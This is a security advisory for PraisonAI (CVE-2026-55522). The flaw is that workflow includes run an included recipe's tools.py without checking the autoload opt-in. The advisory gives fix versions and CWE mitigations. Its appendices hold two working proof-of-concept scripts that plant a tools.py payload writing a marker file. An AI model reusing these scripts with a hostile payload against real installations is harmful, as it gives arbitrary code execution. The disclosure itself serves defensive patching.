GHSA-hxmv-c4g6-5fqc CVE-2026-55522 PYSEC-2026-3891 PYSEC-2026-3903
PraisonAI workflow include bypasses tools.py autoload opt-in and executes included recipe code
- Severity
- 7.8 / 10
- High · CVSS 3.1
- Exploit chance (EPSS)
- 0.22%
- Chance of exploitation in the next 30 days. Higher than 13.06% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-426 Untrusted Search Path
- CWE-829 Inclusion of Functionality from Untrusted Control Sphere
- CWE-94 Improper Control of Generation of Code ('Code Injection')
- Fix
- Available
- 2 packages have a fixed version
Description
Summary
PraisonAI's workflow include implementation implicitly imports and executes an included recipe's tools.py file even when the documented tools.py autoload opt-in is unset.
This bypasses the hardening added for the prior automatic tools.py RCE advisory family. A workflow that includes an untrusted local recipe can execute arbitrary Python module-level code before any model call or child workflow execution.
The same sink is reachable through the higher-level praisonai.recipe.run() recipe API when a steps-based recipe workflow includes a local child recipe. The supplementary PoV demonstrates this route without starting a network service or relying on external APIs.
This is distinct from the previously published tool_resolver.py, api/call.py, templates/tool_override.py, and agents_generator.py variants. The affected callsite is the workflow include implementation in praisonaiagents, reached through the documented/covered Include workflow composition feature.
Affected Components
- Package:
praisonaiagents - File:
praisonaiagents/workflows/workflows.py - Sink:
Workflow._execute_include() - Current affected callsite:
tools_py = recipe_path / "tools.py"
if tools_py.exists():
spec = importlib.util.spec_from_file_location("recipe_tools", tools_py)
recipe_module = importlib.util.module_from_spec(spec)
spec.loader.exec_module(recipe_module)
The current head also contains a similar unguarded workflow-local tools.py import in _resolve_pydantic_class(). That adjacent sink is not needed for the primary impact claim because the include path has a cleaner public workflow execution path and local PoV.
Security Boundary
PraisonAI documents secure defaults for implicit tools.py autoload:
PRAISONAI_ALLOW_TEMPLATE_TOOLScontrols implicit template/CWDtools.pyautoload and is disabled by default.PRAISONAI_ALLOW_LOCAL_TOOLScontrols automatic loading of localtools.pyfiles and requires the valuetrue.- Explicit override files/directories are the recommended way to load custom tools without the implicit autoload opt-in.
- Existing regression tests for
GHSA-xcmw-grxf-wjhjassert that template/CWDtools.pymust not execute by default.
Workflow._execute_include() does not check PRAISONAI_ALLOW_TEMPLATE_TOOLS, does not check PRAISONAI_ALLOW_LOCAL_TOOLS, and does not route through the shared safe loader before executing the included recipe's tools.py.
The report is not claiming that workflow includes themselves are unintended. Local tests in the repository cover Include, include(), YAML include parsing, and include-in-loop behavior. The security issue is specifically that the include implementation executes the included recipe's tools.py unconditionally instead of respecting the same implicit-tool-loading gates used elsewhere.
The report also is not claiming that recipe tools.py files are inherently unsafe or unsupported. Official recipe documentation describes tools.py as the place for custom functions and dynamic variables. The issue is the implicit execution mode: official tool-override documentation says implicit tools.py autoload from CWD or template directories is disabled by default, with explicit override files/directories recommended for new projects.
Impact
An attacker who can cause a victim process to run a workflow that includes an attacker-controlled local recipe directory can execute arbitrary Python code as the PraisonAI process user.
The payload runs during include setup, before child workflow parsing or any LLM/model call. The PoV only writes a local marker file.
Reproduction
Run the attached local-only PoV:
python3 pov.py
Expected vulnerable output:
VULNERABLE: included recipe tools.py executed with PRAISONAI_ALLOW_LOCAL_TOOLS and PRAISONAI_ALLOW_TEMPLATE_TOOLS unset
marker=...
marker_content=executed
The PoV:
- Unsets
PRAISONAI_ALLOW_LOCAL_TOOLSandPRAISONAI_ALLOW_TEMPLATE_TOOLS. - Creates a temporary
child_recipe/tools.pywith a marker-write payload. - Creates a minimal
child_recipe/workflow.yaml. - Runs
Workflow(steps=[include("child_recipe")]).run(...). - Confirms the marker file was written before any model-backed workflow step is needed.
Supplementary higher-level API check:
python3 pov_recipe_run.py
Expected vulnerable output:
VULNERABLE: praisonai.recipe.run() reached workflow include tools.py execution with PRAISONAI_ALLOW_LOCAL_TOOLS and PRAISONAI_ALLOW_TEMPLATE_TOOLS unset
recipe_status=success
recipe_ok=True
marker=...
marker_content=executed
Validation
Tested vulnerable:
- Current head:
bcb6957dac1bc8949866522948a9f61d7e4bd4c1 - Latest release tag:
v4.6.56(praisonai==4.6.56,praisonaiagents==1.6.56) - Older affected tag:
v3.9.26(praisonai==3.9.26,praisonaiagents==0.12.12)
Negative/control observations:
v3.9.24does not expose the sameincludehelper/API used by this PoV.- The hardened
praisonai.templates.tool_override.create_tool_registry_with_overrides(..., template_dir=...)path does not executetools.pywhenPRAISONAI_ALLOW_TEMPLATE_TOOLSis unset. - Existing regression test
src/praisonai/tests/unit/templates/test_tool_override_autoload_gate.pystates that implicit recipe/templatetools.pyautoload should be gated behindPRAISONAI_ALLOW_TEMPLATE_TOOLS. - Include is a first-class workflow feature, not an accidental private method: repository tests cover
include()imports, YAML include parsing, directWorkflow._execute_includepresence, and include steps inside loops. praisonai.recipe.run()also reaches the sink through steps-based recipe workflow execution. This strengthens API reachability but does not change the base severity claim to Critical because a clean unauthenticated remote route for this exact include sink was not validated.
Root Cause
The include implementation reintroduced a direct importlib.util.spec_from_file_location() plus spec.loader.exec_module() path outside the centralized safe loader and template override gate. Prior fixes hardened several tools.py autoload chokepoints, but this workflow include sibling callsite still executes module-level code unconditionally.
Suggested Fix
Route included-recipe tool loading through the same security policy used by the template tool override system.
Conservative options:
- Do not implicitly load included recipe
tools.pyby default. - Only load it when
PRAISONAI_ALLOW_TEMPLATE_TOOLSis explicitly truthy. - Prefer explicit
tools_sources,override_files, or a caller-supplied registry for custom tools. - Add regression coverage for
Workflow(steps=[include("...")])proving included recipetools.pydoes not execute with the opt-in unset. - Consider using AST-based discovery for names where possible, and delay execution until an explicitly configured tool is invoked under the appropriate policy.
If local workflow includes are intended to use PRAISONAI_ALLOW_LOCAL_TOOLS instead, the same principle applies: the include sink should call a shared helper and should not perform raw exec_module() directly.
Severity
Rationale: exploitation requires causing a victim/local process to process an attacker-controlled workflow/include or recipe directory, but no privileges are required once the workflow is run, attack complexity is low, and successful exploitation gives arbitrary Python code execution in the PraisonAI process.
Critical/network severity is not claimed for the base report because a clean unauthenticated remote path for this exact include sink on current head was not validated.
Appendix A - pov.py
#!/usr/bin/env python3
"""Local PoV for PraisonAI workflow include tools.py autoload.
This PoV uses only local files and the public workflow API. It verifies whether
a workflow-local include executes the included recipe's tools.py even when the
PRAISONAI_ALLOW_LOCAL_TOOLS opt-in is unset.
"""
from __future__ import annotations
import os
import shutil
import sys
import tempfile
from pathlib import Path
MARKER_NAME = "prai_workflow_include_tools_autoload_marker.txt"
def _find_default_repo() -> Path:
for parent in Path(__file__).resolve().parents:
candidate = parent / "artifacts" / "repos" / "praisonai-current"
if candidate.exists():
return candidate
raise RuntimeError("Could not locate artifacts/repos/praisonai-current")
def main() -> int:
repo = Path(os.environ.get("PRAISONAI_POV_REPO", str(_find_default_repo()))).resolve()
sys.path.insert(0, str(repo / "src" / "praisonai-agents"))
sys.path.insert(0, str(repo / "src" / "praisonai"))
os.environ.pop("PRAISONAI_ALLOW_LOCAL_TOOLS", None)
os.environ.pop("PRAISONAI_ALLOW_TEMPLATE_TOOLS", None)
workdir = Path(tempfile.mkdtemp(prefix="prai-include-autoload-"))
old_cwd = Path.cwd()
try:
recipe = workdir / "child_recipe"
recipe.mkdir()
marker = workdir / MARKER_NAME
(recipe / "tools.py").write_text(
"from pathlib import Path\n"
f"Path({str(marker)!r}).write_text('executed')\n"
"def benign_tool():\n"
" return 'ok'\n",
encoding="utf-8",
)
(recipe / "workflow.yaml").write_text(
"name: child\n"
"steps: []\n",
encoding="utf-8",
)
os.chdir(workdir)
from praisonaiagents.workflows.workflows import Workflow, include
workflow = Workflow(steps=[include("child_recipe")])
workflow.run(input="", llm="dummy/local", stream=False)
if marker.exists():
print(
"VULNERABLE: included recipe tools.py executed with "
"PRAISONAI_ALLOW_LOCAL_TOOLS and PRAISONAI_ALLOW_TEMPLATE_TOOLS unset"
)
print(f"marker={marker}")
print(f"marker_content={marker.read_text(encoding='utf-8')}")
return 0
print("NOT VULNERABLE: included recipe tools.py did not execute")
return 1
finally:
os.chdir(old_cwd)
shutil.rmtree(workdir, ignore_errors=True)
if __name__ == "__main__":
raise SystemExit(main())
Appendix B - pov_recipe_run.py
#!/usr/bin/env python3
"""Supplementary local PoV through praisonai.recipe.run().
This exercises the higher-level recipe API. It does not start a network server
or rely on any external service. The payload writes a local marker file only.
"""
from __future__ import annotations
import os
import shutil
import sys
import tempfile
from pathlib import Path
MARKER_NAME = "prai_recipe_run_include_tools_autoload_marker.txt"
def _find_default_repo() -> Path:
for parent in Path(__file__).resolve().parents:
candidate = parent / "artifacts" / "repos" / "praisonai-current"
if candidate.exists():
return candidate
raise RuntimeError("Could not locate artifacts/repos/praisonai-current")
def main() -> int:
repo = Path(os.environ.get("PRAISONAI_POV_REPO", str(_find_default_repo()))).resolve()
sys.path.insert(0, str(repo / "src" / "praisonai-agents"))
sys.path.insert(0, str(repo / "src" / "praisonai"))
os.environ.pop("PRAISONAI_ALLOW_LOCAL_TOOLS", None)
os.environ.pop("PRAISONAI_ALLOW_TEMPLATE_TOOLS", None)
workdir = Path(tempfile.mkdtemp(prefix="prai-recipe-include-autoload-"))
old_cwd = Path.cwd()
try:
parent_recipe = workdir / "parent_recipe"
child_recipe = workdir / "child_recipe"
parent_recipe.mkdir()
child_recipe.mkdir()
marker = workdir / MARKER_NAME
(parent_recipe / "TEMPLATE.yaml").write_text(
"name: parent_recipe\n"
"version: 1.0.0\n"
"workflow: workflow.yaml\n",
encoding="utf-8",
)
(parent_recipe / "workflow.yaml").write_text(
"name: parent\n"
"steps:\n"
" - include: child_recipe\n",
encoding="utf-8",
)
(child_recipe / "workflow.yaml").write_text(
"name: child\n"
"steps: []\n",
encoding="utf-8",
)
(child_recipe / "tools.py").write_text(
"from pathlib import Path\n"
f"Path({str(marker)!r}).write_text('executed')\n"
"def benign_tool():\n"
" return 'ok'\n",
encoding="utf-8",
)
os.chdir(workdir)
from praisonai import recipe
result = recipe.run(str(parent_recipe), input={}, options={"force": True})
if marker.exists():
print(
"VULNERABLE: praisonai.recipe.run() reached workflow include "
"tools.py execution with PRAISONAI_ALLOW_LOCAL_TOOLS and "
"PRAISONAI_ALLOW_TEMPLATE_TOOLS unset"
)
print(f"recipe_status={result.status}")
print(f"recipe_ok={result.ok}")
print(f"marker={marker}")
print(f"marker_content={marker.read_text(encoding='utf-8')}")
return 0
print("NOT VULNERABLE: recipe.run() did not execute included recipe tools.py")
print(f"recipe_status={result.status}")
print(f"recipe_error={result.error}")
return 1
finally:
os.chdir(old_cwd)
shutil.rmtree(workdir, ignore_errors=True)
if __name__ == "__main__":
raise SystemExit(main())
Affected versions
PyPI
| Package | Vulnerable | Fixed in |
|---|---|---|
| praisonai | >= 3.9.26, < 4.6.58 |
4.6.58 |
| praisonaiagents | >= 0.12.12, < 1.6.58 |
1.6.58 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
praisonai PyPI → 4.6.58
- pip
pip install --upgrade "praisonai>=4.6.58"- poetry
poetry add "praisonai>=4.6.58"- uv
uv add "praisonai>=4.6.58"
praisonaiagents PyPI → 1.6.58
- pip
pip install --upgrade "praisonaiagents>=1.6.58"- poetry
poetry add "praisonaiagents>=1.6.58"- uv
uv add "praisonaiagents>=1.6.58"
Severity breakdown
CVSS 3.1 7.8
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
- Attack vector
- Local
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- Required
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Weakness
CWE-426: Untrusted Search Path
The product searches for critical resources using an externally-supplied search path that can point to resources that are not under the product's direct control.
How to prevent it
- Architecture and Design, Implementation: Hard-code the search path to a set of known-safe values (such as system directories), or only allow them to be specified by the administrator in a configuration file. Do not allow these settings to be modified by an external party. Be careful to avoid related weaknesses such as CWE-426 and CWE-428.
- Implementation: When invoking other programs, specify those programs using fully-qualified pathnames. While this is an effective approach, code that uses fully-qualified pathnames might not be portable to other systems that do not use the same pathnames. The portability can be improved by locating the full-qualified paths in a centralized, easily-modifiable location within the source code, and having the code refer to these paths.
- Implementation: Remove or restrict all environment settings before invoking other programs. This includes the PATH environment variable, LD_LIBRARY_PATH, and other settings that identify the location of code libraries, and any application-specific search paths.
- Implementation: Check your search path before use and remove any elements that are likely to be unsafe, such as the current working directory or a temporary files directory.
- Implementation: Use other functions that require explicit paths. Making use of any of the other readily available functions that require explicit paths is a safe way to avoid this problem. For example, system() in C does not require a full path since the shell can take care of it, while execl() and execv() require a full path.
CWE-829: Inclusion of Functionality from Untrusted Control Sphere
The product imports, requires, or includes executable functionality (such as a library) from a source that is outside of the intended control sphere.
How to prevent it
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-45] provide this capability.
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Architecture and Design, Operation: Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
- Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would b
- Architecture and Design, Operation: Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately. This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
- Architecture and Design, Implementation: Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls. Many file inclusion problems occur because the programmer assumed that certain inputs could not be modified, especially for cookies and URL components.
- Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
CWE-94: Improper Control of Generation of Code ('Code Injection')
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
How to prevent it
- Architecture and Design: Refactor your program so that you do not have to dynamically generate code.
- Architecture and Design: Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product. Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
- Testing: Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
- Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
- Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
- Implementation: For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-26mh-57q7-jfvr PraisonAI vulnerable to Remote Code Execution via Broken AST Sandbox | High | Also affects praisonai |
| GHSA-6g6r-q6gw-w8fg PraisonAI has a Browser Server WebSocket origin validation bypass via unanchored regex (patch bypass of CVE-2026-40289 / GHSA-8x8f-54wf-vv92) | Critical | Also affects praisonai |
| GHSA-pvph-5j39-v8qc PraisonAI: Origin-validation bypass (startswith prefix match) enables unauthenticated cross-site request forgery against the PraisonAI MCP HTTP server | High | Also affects praisonai |
| GHSA-gfq8-hmph-9gjv PraisonAI: Authentication fail-open in Recipe server allows unauthenticated access when API key or JWT auth is configured without a secret | High | Also affects praisonai |
| GHSA-2jgc-f764-c5r2 PraisonAI: [Auth Bypass] PraisonAI async Jobs API (`/api/v1/runs`) has no authentication — unauthenticated job execution, result theft, cancel and delete | High | Also affects praisonai |
| GHSA-gxmw-5f7x-6g22 praisonaiagents vulnerable to arbitrary file write via unsanitized `user_id` in `FileMemory.__init__()` — path traversal to any writable location | High | Also affects praisonaiagents |
| GHSA-pvxx-r596-f5qj PraisonAI: `--api-key` flag on `praisonai serve` is not properly enforced | High | Also affects praisonai |
| GHSA-hmfx-4v44-9qw9 PraisonAI vulnerable to Server-Side Request Forgery via DNS rebinding bypass in webhook_url validation | Medium | Also affects praisonai |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor